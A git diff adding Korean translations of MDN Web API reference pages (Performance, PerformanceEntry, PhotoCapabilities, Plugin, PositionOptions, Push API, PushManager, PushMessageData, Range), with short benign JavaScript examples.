Creates a named {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer between two specified marks (known as the start mark and end mark, respectively).
+
{{domxref("Performance.now()")}}
+
Returns a {{domxref("DOMHighResTimeStamp")}} representing the amount of milliseconds elapsed since a reference instant.
+
{{domxref("Performance.setFrameTimingBufferSize()")}}
+
TBD
+
{{domxref("Performance.setResourceTimingBufferSize()")}}
+
Sets the browser's resource timing buffer size to the specified number of "resource" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} objects.
+
{{domxref("Performance.toJSON()")}}
+
Is a jsonizer returning a json object representing the Performance object.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}{{Spec2('Highres Time Level 2')}}Defines toJson() method.
{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}{{Spec2('Highres Time')}}Defines now() method.
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}{{Spec2('Navigation Timing')}}Defines timing and navigation properties.
{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}{{Spec2('Performance Timeline Level 2')}}Changes getEntries() interface.
{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}{{Spec2('Performance Timeline')}}Defines getEntries(), getEntriesByType() and getEntriesByName() methods.
{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('Resource Timing')}}Defines clearResourceTimings() and setResourceTimingBufferSize() methods and the onresourcetimingbufferfull property.
{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing Level 2')}}Clarifies mark(), clearMark(), measure() and clearMeasure() methods.
{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing')}}Defines mark(), clearMark(), measure() and clearMeasure() methods.
{{SpecName('Frame Timing', '#extensions-performance-interface','Performance extensions')}}{{Spec2('User Timing')}}Defines clearFrameTimings(), setFrameTimingBufferSize(), and onframetimingbufferfull methods.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.Performance")}}

+
+
diff --git a/files/ko/web/api/performance/mark/index.html b/files/ko/web/api/performance/mark/index.html new file mode 100644 index 0000000000..7c4261e1ba --- /dev/null +++ b/files/ko/web/api/performance/mark/index.html @@ -0,0 +1,101 @@ +--- +title: performance.mark() +slug: Web/API/Performance/mark +tags: + - API + - Method + - Reference + - Web Performance +translation_of: Web/API/Performance/mark +--- +
{{APIRef("User Timing API")}}
+ +

mark() 메소드는 브라우저의 performance entry buffer에 주어진 이름으로 {{domxref("DOMHighResTimeStamp","timestamp")}}를 생성합니다. timestamp가 정의된 응용프로그램은 {{domxref("Performance")}} 인터페이스의 getEntries*() 메소드들을 통해 불러올 수 있습니다. ({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}}, {{domxref("Performance.getEntriesByType","getEntriesByType()")}}).

+ +

{{AvailableInWorkers}}

+ +

mark의 {{domxref("PerformanceEntry","performance entry")}}는 다음 속성값을 갖습니다:

+ + + +

만약 메서드에 주어진 name이 이미 {{domxref("PerformanceTiming")}} 인터페이스 상에 존재한다면 {{jsxref("SyntaxError")}}를 throw 합니다.

+ +

Syntax

+ +
performance.mark(name);
+
+ +

Arguments

+ +
+
name
+
mark의 이름을 나타내는 {{domxref("DOMString")}}.
+
+ +

Return value

+ +
+
void
+
+
+ +

Example

+ +

다음 예시는 mark()를 사용하여 {{domxref("PerformanceMark")}}를 생성하고 불러오는 방법을 보여줍니다.

+ +
// Create a bunch of marks.
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+// Get all of the PerformanceMark entries.
+const allEntries = performance.getEntriesByType("mark");
+console.log(allEntries.length);
+// 6
+
+// Get all of the "monkey" PerformanceMark entries.
+const monkeyEntries = performance.getEntriesByName("monkey");
+console.log(monkeyEntries.length);
+// 2
+
+// Clear out all of the marks.
+performance.clearMarks();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('User Timing Level 2', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing Level 2')}}Clarifies mark() processing model.
{{SpecName('User Timing', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing')}}Basic definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Performance.mark")}}

+
diff --git a/files/ko/web/api/performance/now/index.html b/files/ko/web/api/performance/now/index.html new file mode 100644 index 0000000000..f252b19a85 --- /dev/null +++ b/files/ko/web/api/performance/now/index.html @@ -0,0 +1,99 @@ +--- +title: performance.now() +slug: Web/API/Performance/now +tags: + - Performance + - performance.now +translation_of: Web/API/Performance/now +--- +
{{APIRef("High Resolution Timing")}}
+ +

The performance.now() method returns a {{domxref("DOMHighResTimeStamp")}}, measured in milliseconds.

+ +
+

The timestamp is not actually high-resolution. To mitigate security threats such as Spectre, browsers currently round the results to varying degrees. (Firefox started rounding to 1 millisecond in Firefox 60.) Some browsers may also slightly randomize the timestamp. The precision may improve again in future releases; browser developers are still investigating these timing attacks and how best to mitigate them.

+
+ +

{{AvailableInWorkers}}

+ +

The returned value represents the time elapsed since the time origin.

+ +

Bear in mind the following points:

+ + + +

Syntax

+ +
t = performance.now();
+ +

Example

+ +
var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.");
+
+ +

Unlike other timing data available to JavaScript (for example Date.now), the timestamps returned by performance.now() are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision.

+ +

Also unlike Date.now(), the values returned by performance.now() always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like NTP). Otherwise, performance.timing.navigationStart + performance.now() will be approximately equal to Date.now().

+ +

Reduced time precision

+ +

To offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings.
+ In Firefox, the privacy.reduceTimerPrecision  preference is enabled by default and defaults to 1ms.

+ +
// reduced time precision (1ms) in Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+
+ +

In Firefox, you can also enable privacy.resistFingerprinting — this changes the precision to 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time Level 2')}}Stricter definitions of interfaces and types.
{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Performance.now")}}

+ +

See also

+ + diff --git a/files/ko/web/api/performanceentry/index.html b/files/ko/web/api/performanceentry/index.html new file mode 100644 index 0000000000..35c6271781 --- /dev/null +++ b/files/ko/web/api/performanceentry/index.html @@ -0,0 +1,142 @@ +--- +title: PerformanceEntry +slug: Web/API/PerformanceEntry +translation_of: Web/API/PerformanceEntry +--- +
{{APIRef("Performance Timeline API")}}
+ +

PerformanceEntry 객체는 performance timeline 상의 단일 성능 수치를 캡슐화 합니다. performance entry는 응용프로그램의 특정 지점에서 performance {{domxref("PerformanceMark","mark")}}{{domxref("PerformanceMeasure","measure")}}를 생성함으로써 (예를 들면 {{domxref("Performance.mark","mark()")}}를 호출하는 방법으로) 직접적으로 만들어질 수 있습니다. 또는 (이미지와 같은) 리소스를 로딩하는 등의 간접적인 방법으로 생성되기도 합니다.

+ +

PerformanceEntry 인스턴스는 항상 다음 서브타입들 중 하나를 따릅니다:

+ + + +

{{AvailableInWorkers}}

+ +

Properties

+ +
+
{{domxref("PerformanceEntry.name")}} {{readonlyInline}}
+
A value that further specifies the value returned by the {{domxref("PerformanceEntry.entryType")}} property. The value of both depends on the subtype. See property page for valid values.
+
{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}
+
A {{domxref("DOMString")}} representing the type of performance metric such as, for example, "mark". See property page for valid values.
+
{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}
+
A {{domxref("DOMHighResTimeStamp")}} representing the starting time for the performance metric.
+
{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}
+
A {{domxref("DOMHighResTimeStamp")}} representing the time value of the duration of the performance event.
+
+ +

Methods

+ +
+
{{domxref("PerformanceEntry.toJSON","PerformanceEntry.toJSON()")}}
+
Returns a JSON representation of the PerformanceEntry object.
+
+ +

Example

+ +

The following example checks all PerformanceEntry properties to see if the browser supports them and if so, write their values to the console.

+ +
function print_PerformanceEntries() {
+  // Use getEntries() to get a list of all performance entries
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    console.log("PerformanceEntry[" + i + "]");
+    print_PerformanceEntry(p[i]);
+  }
+}
+function print_PerformanceEntry(perfEntry) {
+  var properties = ["name",
+                    "entryType",
+                    "startTime",
+                    "duration"];
+
+  for (var i=0; i < properties.length; i++) {
+    // Check each property
+    var supported = properties[i] in perfEntry;
+    if (supported) {
+      var value = perfEntry[properties[i]];
+      console.log("... " + properties[i] + " = " + value);
+    } else {
+      console.log("... " + properties[i] + " is NOT supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resource Timing 3')}}{{Spec2('Resource Timing 3')}}
{{SpecName('Resource Timing 2')}}{{Spec2('Resource Timing 2')}}
{{SpecName('Resource Timing')}}{{Spec2('Resource Timing')}}Adds the {{domxref("PerformanceResourceTiming")}} interface and the resource value for entryType.
{{SpecName('Navigation Timing Level 2')}}{{Spec2('Navigation Timing Level 2')}}
{{SpecName('Navigation Timing')}}{{Spec2('Navigation Timing')}}Adds the {{domxref("PerformanceNavigationTiming")}} interface and the navigation value for entryType.
{{SpecName('User Timing Level 2')}}{{Spec2('User Timing Level 2')}}
{{SpecName('User Timing')}}{{Spec2('User Timing')}}Adds the {{domxref("PerformanceMark")}} and {{domxref("PerformanceMeasure")}} interfaces as well as the mark and measure values for entryType.
{{SpecName('Frame Timing')}}{{Spec2('Frame Timing')}}Adds the {{domxref('PerformanceFrameTiming')}} interface and the frame value for entryType.
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline Level 2')}}Added toJSON() serializer method.
{{SpecName('Performance Timeline', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.PerformanceEntry")}}

+
diff --git a/files/ko/web/api/photocapabilities/index.html b/files/ko/web/api/photocapabilities/index.html new file mode 100644 index 0000000000..5cf3842b87 --- /dev/null +++ b/files/ko/web/api/photocapabilities/index.html @@ -0,0 +1,84 @@ +--- +title: PhotoCapabilities +slug: Web/API/PhotoCapabilities +tags: + - API + - Experimental + - Interface + - MediaStream Image Capture API + - PhotoCapabilities + - Reference +translation_of: Web/API/PhotoCapabilities +--- +
{{APIRef("MediaStream Image")}}
+ +

MediaStream Image Capture APIPhotoCapabilities 인터페이스는 장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. PhotoCapabilities 객체는 {{domxref("ImageCapture.getPhotoCapabilities()")}}를 사용해 가져올 수 있습니다..

+ +

속성

+ +
+
{{domxref("PhotoCapabilities.redEyeReduction")}} {{readonlyinline}}
+
장치의 적목 현상 감소 기능 적용 여부를 나타내는 열거형 값을 반환합니다. 가능한 값은 "never", "always", "controllable"로, "controllable"이어야 설정 가능합니다.
+
{{domxref("PhotoCapabilities.imageHeight")}} {{readonlyinline}}
+
{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 높이를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.
+
{{domxref("PhotoCapabilities.imageWidth")}} {{readonlyinline}}
+
{{glossary("user agent", "사용자 에이전트")}}가 지원하는 이미지 너비를 나타내는 {{domxref("MediaSettingsRange")}} 객체를 반환합니다.
+
{{domxref("PhotoCapabilities.fillLightMode")}} {{readonlyinline}}
+
사용 가능한 플래시 옵션을 담은 배열을 반환합니다. 가능한 값은 auto, off, flash입니다.
+
+ +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, {{domxref("ImageCapture.getPhotoCapabilities", "getPhotoCapabilities()")}}를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#photocapabilities-section','PotoCapabilities')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.PhotoCapabilities")}}

+
diff --git a/files/ko/web/api/plugin/index.html b/files/ko/web/api/plugin/index.html new file mode 100644 index 0000000000..68828f0b69 --- /dev/null +++ b/files/ko/web/api/plugin/index.html @@ -0,0 +1,67 @@ +--- +title: Plugin +slug: Web/API/Plugin +tags: + - API + - Add-ons + - DOM + - NeedsContent + - Plug-in + - Plugins +translation_of: Web/API/Plugin +--- +
{{ApiRef("HTML DOM")}}
+ +

플러그 인 인터페이스는 브라우저 플러그 인에 대한 정보를 제공합니다.

+ +
+

Note: 플러그 인 개체의 고유 속성은 더 이상 최신 브라우저 버전에서 찾아볼 수 없습니다.

+
+ +

특성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이름설명Return Type유용성
{{domxref("Plugin.description")}} +

플러그 인에 대한 읽기 쉬운 설명입니다. 읽기 전용입니다.

+
{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.filename")}}플러그 인 파일의 파일 이름. 읽기 전용입니다.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.name")}}플러그 인의 이름. 읽기 전용입니다.{{domxref("DOMString")}}DOM 0
{{domxref("Plugin.version")}}플러그 인의 버전 번호 문자열. 읽기 전용입니다.{{domxref("DOMString")}}Gecko browsers only (Firefox 4+)
+ +

방법

+ +
+
{{domxref("Plugin.item")}}
+
지원되는 유형의 목록에 인덱스 번호를 부여한 경우 지원되는 콘텐츠 유형의 MIME형식을 반환합니다.
+
{{domxref("Plugin.namedItem")}}
+
지원되는 항목의 MIME유형을 반환합니다.
+
diff --git a/files/ko/web/api/positionoptions/index.html b/files/ko/web/api/positionoptions/index.html new file mode 100644 index 0000000000..6e53dde993 --- /dev/null +++ b/files/ko/web/api/positionoptions/index.html @@ -0,0 +1,64 @@ +--- +title: PositionOptions +slug: Web/API/PositionOptions +tags: + - API + - Geolocation API + - Interface + - PositionOptions + - Reference + - Secure context +translation_of: Web/API/PositionOptions +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

PositionOptions 인터페이스는 {{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}의 매개변수로 전달할 옵션 속성을 포함한 개체를 나타냅니다.

+ +

속성

+ +

PositionOptions 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("PositionOptions.enableHighAccuracy")}} {{securecontext_inline}}
+
위치정보를 가장 높은 정확도로 수신하고 싶음을 나타내는 {{domxref("Boolean")}}입니다. 이 값이 true이고, 장치도 지원한다면 더 정확한 위치정보를 받을 수 있습니다. 그러나 느린 응답 속도와, 모바일 장치에서의 전력 소모량 증가는 주의해야 합니다. 반대로, 값이 false면 기기가 더 빠르게 반응하고 전력 소모도 줄일 수 있습니다. 기본값은 false입니다.
+
{{domxref("PositionOptions.timeout")}} {{securecontext_inline}}
+
기기가 위치를 반환할 때 소모할 수 있는 최대 시간을 밀리초로 나타내는 양의 long 값입니다. 기본값은 {{jsxref("Infinity")}}로, 위치정보를 알아낼 때까지 getCurrentPosition()의 성공 콜백을 호출하지 않습니다.
+
{{domxref("PositionOptions.maximumAge")}} {{securecontext_inline}}
+
캐시에 저장한 위치정보를 대신 반환할 수 있는 최대 시간을 밀리초로 나타내는 양의 long 값입니다. 0으로 설정하면 장치가 사전에 미리 저장한 위치를 사용하지 않고, 항상 현재 위치를 검색합니다. {{jsxref("Infinity")}}로 설정하면 지난 시간에 상관없이 캐시에 저장한 위치를 반환합니다. 기본값은 0입니다.
+
+ +

메서드

+ +

PositionOptions 인터페이스는 어떤 메서드도 구현하거나 상속하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}{{Spec2('Geolocation')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.PositionOptions")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/push_api/index.html b/files/ko/web/api/push_api/index.html new file mode 100644 index 0000000000..6daed1c115 --- /dev/null +++ b/files/ko/web/api/push_api/index.html @@ -0,0 +1,118 @@ +--- +title: Push API +slug: Web/API/Push_API +translation_of: Web/API/Push_API +--- +
{{DefaultAPISidebar("Push API")}}
+ +

Push API는 웹 애플리케이션이 현재 로딩이 되어 있지 않더라도 서버로부터 메시지를 받을 수 있도록 하는 기능이다. 이는 개발자들이 비동기적으로 사용자에게 새로운 내용을 시기적절하게 전달할 수 있도록 만들어 준다.

+ +

Push 콘셉트와 사용처

+ +
+

PushManager를 수행할 때,  해당 애플리케이션에 CSRF/XSRF 이슈에 대한 대응책을 마련해놓아야 한다: 

+ + +
+ +

애플리케이션이 push 메시지를 받기 위해서, service worker를 활성화한다. 

+ +

{{domxref("PushManager.subscribe()")}}.

+ +

{{domxref("PushSubscription")}}에 애플리케이션이 보내야 하는 push메시지를 담고, (엔드포인트와 암호화키가 필요)

+ +

service worker는{{domxref("ServiceWorkerGlobalScope.onpush")}} 라는 이벤트 핸들러로부터 전달되는 push 메시지를 처리하기 시작한다.

+ +

각 요청은 capability URL:(당신의 애플리케이션)을 특정하여 엔드포인트를 구성하기 때문에 엔드포인트 URL은 보안에 신경을 써야 하며, 그렇지 않을 경우 다른 애플리케이션에서 당신의 애플리케이션에 push 메시지를 보낼 가능성도 있다. 

+ +

push 메시지를 전달하기 위해 service worker를 활성화하는 건, 리소스 사용이 늘어나는 결과를 가져오기 때문에, 특히 배터리 사용에 영향을 미친다. 한편 push메시지 처리를 위해 브라우저 간 다른 스키마를 가지기 때문에, 표준화된 메커니즘이 없다. Firefox는 한정된 숫자(quota)만을 push 메시지로 보내도록 해 놓았다. 이러한 제한은 사이트에 방문할 때마다 초기화되며, Chrome은 제한이 없으며 모든 push 메시지가 보이도록 한다. 

+ +
+

Note: Gecko 44에 따르면, 각 애플리케이션에 할당된 quota는 3초 정도 다른 알림이 보이는 상태일 때, 새로운 알림이 발생해도 중가하지 않는다. 

+
+ +
+

Note: Chrome 52 이전 버전은 push메시지 활용을 위해선 Google Cloud Messaging에 프로젝트를 세팅해야 하며 한편 push 메시지를 보낼 때 프로젝트 번호 및 API 키를 활용하도록 권장한다. app manifest에 서비스 활용에 필요한 특정 패러미터를 정의해야 한다.

+
+ +

Interfaces

+ +
+
{{domxref("PushEvent")}}
+
Represents a push action, sent to the global scope of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.
+
{{domxref("PushManager")}}
+
Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.
+
{{domxref("PushMessageData")}}
+
Provides access to push data sent by a server, and includes methods to manipulate the received data.
+
{{domxref("PushSubscription")}}
+
Provides a subcription's URL endpoint, and allows unsubscription from a push service.
+
+ +

Service worker additions

+ +

The following additions to the Service Worker API have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.

+ +
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.
+
{{domxref("ServiceWorkerGlobalScope.onpush")}}
+
An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.
+
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
+
An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)
+
+ +

Examples

+ +

Mozilla's ServiceWorker Cookbook contains many useful Push examples.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Push API")}}{{Spec2("Push API")}}Initial definition
+ +

Browser compatibility

+ +
+

PushEvent

+ +
+ + +

{{Compat("api.PushEvent")}}

+ +

PushMessageData

+ +
+ + +

{{Compat("api.PushMessageData")}}

+
+
+
+ +

See also

+ + + +
{{DefaultAPISidebar("Push API")}}
diff --git a/files/ko/web/api/pushmanager/index.html b/files/ko/web/api/pushmanager/index.html new file mode 100644 index 0000000000..f42fb127ab --- /dev/null +++ b/files/ko/web/api/pushmanager/index.html @@ -0,0 +1,111 @@ +--- +title: PushManager +slug: Web/API/PushManager +tags: + - API + - Experimental + - Interface + - Push + - Push API + - Reference + - Service Workers + - 푸시 + - 푸시 알림 +translation_of: Web/API/PushManager +--- +

{{ApiRef("Push API")}}

+ +

Push APIPushManager 인터페이스는 서드파티 서버에서 알림을 수신하거나, URL에 푸시 알림을 요청하는 방법을 제공합니다.

+ +

PushManager는 {{domxref("ServiceWorkerRegistration.pushManager")}} 속성으로 접근할 수 있습니다.

+ +

속성

+ +
+
{{domxref("PushManager.supportedContentEncodings")}}
+
푸시 메시지의 페이로드를 암호화할 때 지원하는 콘텐츠 인코딩의 목록을 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("PushManager.getSubscription()")}}
+
기존의 푸시 구독을 가져옵니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 구독이 존재하지 않으면 프로미스는 null로 이행합니다.
+
{{domxref("PushManager.permissionState()")}}
+
PushManager의 허가 상태로 이행하는 {{jsxref("Promise")}}를 반환합니다. 상태는 'granted', 'denied', 'prompt' 중 하나입니다.
+
{{domxref("PushManager.subscribe()")}}
+
푸시 서비스에 구독합니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 현재 서비스 워커에 이전 구독이 존재하지 않으면 새로운 푸시 구독을 생성합니다.
+
+ + + +

예제

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API','#pushmanager-interface','PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.PushManager")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/pushmessagedata/index.html b/files/ko/web/api/pushmessagedata/index.html new file mode 100644 index 0000000000..61d786160b --- /dev/null +++ b/files/ko/web/api/pushmessagedata/index.html @@ -0,0 +1,67 @@ +--- +title: PushMessageData +slug: Web/API/PushMessageData +translation_of: Web/API/PushMessageData +--- +

{{APIRef("Push API")}}{{SeeCompatTable()}}

+ +

The PushMessageData interface of the Push API provides methods which let you retrieve the push data sent by a server in various formats.

+ +

Unlike the similar methods in the Fetch API, which only allow the method to be invoked once, these methods can be called multiple times.

+ +

Messages received through the Push API are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the PushMessageData interface.

+ +

Properties

+ +

None.

+ +

Methods

+ +
+
{{domxref("PushMessageData.arrayBuffer()")}}
+
Extracts the data as an {{domxref("ArrayBuffer")}} object.
+
{{domxref("PushMessageData.blob()")}}
+
Extracts the data as a {{domxref("Blob")}} object.
+
{{domxref("PushMessageData.json()")}}
+
Extracts the data as a JSON object.
+
{{domxref("PushMessageData.text()")}}
+
Extracts the data as a plain text string.
+
+ +

Examples

+ +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#pushmessagedata-interface', 'PushMessageData')}}{{Spec2('Push API')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.PushMessageData")}}

+
diff --git a/files/ko/web/api/range/index.html b/files/ko/web/api/range/index.html new file mode 100644 index 0000000000..48f236762a --- /dev/null +++ b/files/ko/web/api/range/index.html @@ -0,0 +1,142 @@ +--- +title: range +slug: Web/API/Range +tags: + - API + - DOM + - Reference +translation_of: Web/API/Range +--- +

{{ APIRef("DOM") }}

+ +

Range 객체는 주어진 document 내의 텍스트 노드들의 부분들(parts)과 document의 단편화에 포함된 노드들을 나타내고 있다.

+ +

Range 오브젝트는 Document 객체에 포함되어 있는 createRange 메소드를 사용하여 생성할 수 있다. 또한 selection 객체에 포함되어 있는 getRangeAt 메소드를 사용하여 추출할 수 있다.

+ +

{{domxref("Range.Range()", "Range()")}} 생성자 또한 사용 가능하다.

+ +

속성

+ +
+
collapsed
+
Range의 시작점과 끝점이 같인 위치인지를 알 수 있는 boolean 값을 반환한다.
+
commonAncestorContainer
+
startContainer와 endContainer 노드들을 포함한 최상위 노드를 반환한다.
+
endContainer
+
Range의 끝 위치를 포함하는 Node를 반환한다.
+
endOffset
+
endContainer 안에 있는 Range 끝을 나타내는 숫자(offset)를 반환한다.
+
startContainer
+
Range의 시작 위치를 포함하는 Node를 반환한다.
+
startOffset
+
startContainer 안에 있는 Range 시작을 나타내는 숫자(offset)를 반환한다.
+
+ +

생성자

+ +
+
{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}
+
Range 객체의 시작과 끝에 따라 전역 {{domxref("Document")}} 와 함께 Range 객체를 반환한다.
+
+ +

메서드

+ +

상속한 메서드는 없다.

+ +
+
{{ domxref("Range.setStart()")}}
+
Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setEnd()")}}
+
Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.setStartBefore()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setStartAfter()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 시작 위치를 설정한다.
+
{{ domxref("Range.setEndBefore()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.setEndAfter()")}}
+
다른 {{ domxref("Node") }} 와 관계가 있는 Range 의 끝 위치를 설정한다.
+
{{ domxref("Range.selectNode()")}}
+
Range 에 {{ domxref("Node") }} 와 그것의 내용물을 포함 시킨.
+
{{ domxref("Range.selectNodeContents()")}}
+
Range 에 {{ domxref("Node") }} 의 내용물을 포함 시킨.
+
{{ domxref("Range.collapse()")}}
+
Range 의 경계 지점 중 하나로 영역을 붕괴 시킨다.
+
{{ domxref("Range.cloneContents()")}}
+
Range 의 노드들을 복사하여 {{ domxref("DocumentFragment") }} 를 반환한다.
+
{{ domxref("Range.deleteContents()")}}
+
{{ domxref("Document") }} 로 부터 Range 의 컨텐츠들을 삭제한다.
+
{{ domxref("Range.extractContents()")}}
+
{{ domxref("Document") }} 트리로 부터 Range 의 컨텐츠들을 domxref("DocumentFragment") }} 로 이동시킨다.
+
{{ domxref("Range.insertNode()")}}
+
Range 의 맨 앞에 {{ domxref("Node") }}를 삽입한다.
+
{{ domxref("Range.surroundContents()")}}
+
Moves content of a Range into a new {{ domxref("Node") }}.
+
{{ domxref("Range.compareBoundaryPoints()")}}
+
Compares the boundary points of the Range with another Range.
+
{{ domxref("Range.cloneRange()")}}
+
Returns a Range object with boundary points identical to the cloned Range.
+
{{ domxref("Range.detach()")}}
+
Releases the Range from use to improve performance.
+
{{ domxref("Range.toString()")}}
+
Returns the text of the Range.
+
